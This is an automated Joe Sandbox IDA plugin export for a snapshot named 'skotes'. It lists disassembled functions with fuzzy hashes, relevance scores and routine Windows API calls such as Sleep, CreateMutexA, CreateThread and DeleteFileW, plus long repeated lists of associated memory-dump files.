Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2o
API String ID: 396266464-2760472518
Opcode ID: 7553468de5bf7e76a137e64e22dbd06e9b844e064e3f12514ede982e34405cba
Instruction ID: 62d50e287bf7dfb6b11c4e05e7be5de53398e0d91706db0e35226216bc36daad
Opcode Fuzzy Hash: 7553468de5bf7e76a137e64e22dbd06e9b844e064e3f12514ede982e34405cba
Instruction Fuzzy Hash: 65310931B502048BEF08DBBCDE8DBADB7ABAB85310F24465CE0149BBD5D73549818796

Function 0069A960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0069A963
CreateMutexA.KERNEL32(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2o
API String ID: 1464230837-2760472518
Opcode ID: 0196600cb1ab63da512e337035965f4faf32cd213bd1b5c41af7a5744f935506
Instruction ID: a2df15858e05555c91f39cd65ebb32d8c6ecf978edec53957b1efc15333fb4db
Opcode Fuzzy Hash: 0196600cb1ab63da512e337035965f4faf32cd213bd1b5c41af7a5744f935506
Instruction Fuzzy Hash: 73E08620BA931096EF5076ACA88DF7A629B97D9710F211A18A608D66D5C750465082A7

Function 00697590 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,440B685B,?,00000000,006D9138,000000FF), ref: 006975CC
CreateThread.KERNEL32(00000000,00000000,00697430,006F8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 006976BE
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 006976C9

Part of subcall function 006AD0C7: RtlWakeAllConditionVariable.NTDLL ref: 006AD17B

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: c182a873c6388d42e768ad253d69210421da31ebecc91b82e1854a33f40e61d1
Instruction ID: 8b1659fbfd22da7653775a4b82b772aea4ae84f311f8e9f0736f8d9bb881913a
Opcode Fuzzy Hash: c182a873c6388d42e768ad253d69210421da31ebecc91b82e1854a33f40e61d1
Instruction Fuzzy Hash: 6651CF70214248AFEB18DF28DC85BAC3BA7EB45704F504659F9058B7D1CB7AE980CF95

Function 006A7A00 Relevance: 3.1, APIs: 2, Instructions: 123COMMONLIBRARYCODE

Download Yara Rule

APIs

__Cnd_destroy_in_situ.LIBCPMT ref: 006A7AF8
__Mtx_destroy_in_situ.LIBCPMT ref: 006A7B01

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID:
API String ID: 1432671424-0
Opcode ID: 5165afbaf2adebc03e9327e575a1b90d13c14f5fe3abc67ced96dbc6c1cddedf
Instruction ID: 809a7fefe1cc1133f920f7ff0bc8a9e3719500c424ecfdaa53ebd1453f9f8d34
Opcode Fuzzy Hash: 5165afbaf2adebc03e9327e575a1b90d13c14f5fe3abc67ced96dbc6c1cddedf
Instruction Fuzzy Hash: AF3128B1904304AFD720EF68D841A5BB7E9EF16310F10467EEA46C3642E771EE548BE5

Function 006C6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7f6b4d5f4a1e91113e980a24816c83711a93c055960697268c13129d11ac45e
Instruction ID: b9c957dd05d0a2eb0562181f8f861e5a34ae2bd15ddb665c5c460bd810d3d222
Opcode Fuzzy Hash: b7f6b4d5f4a1e91113e980a24816c83711a93c055960697268c13129d11ac45e
Instruction Fuzzy Hash: 2721B6729052086AEB51AB68EC46FBF372BDF41374F10021DF9742B2D1DB709E0596A9

Function 006CB655 Relevance: 3.0, APIs: 2, Instructions: 19fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(006C6A97,?,006C6A97,?,?,?,00000010), ref: 006CB65D
__dosmaperr.LIBCMT ref: 006CB66E

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
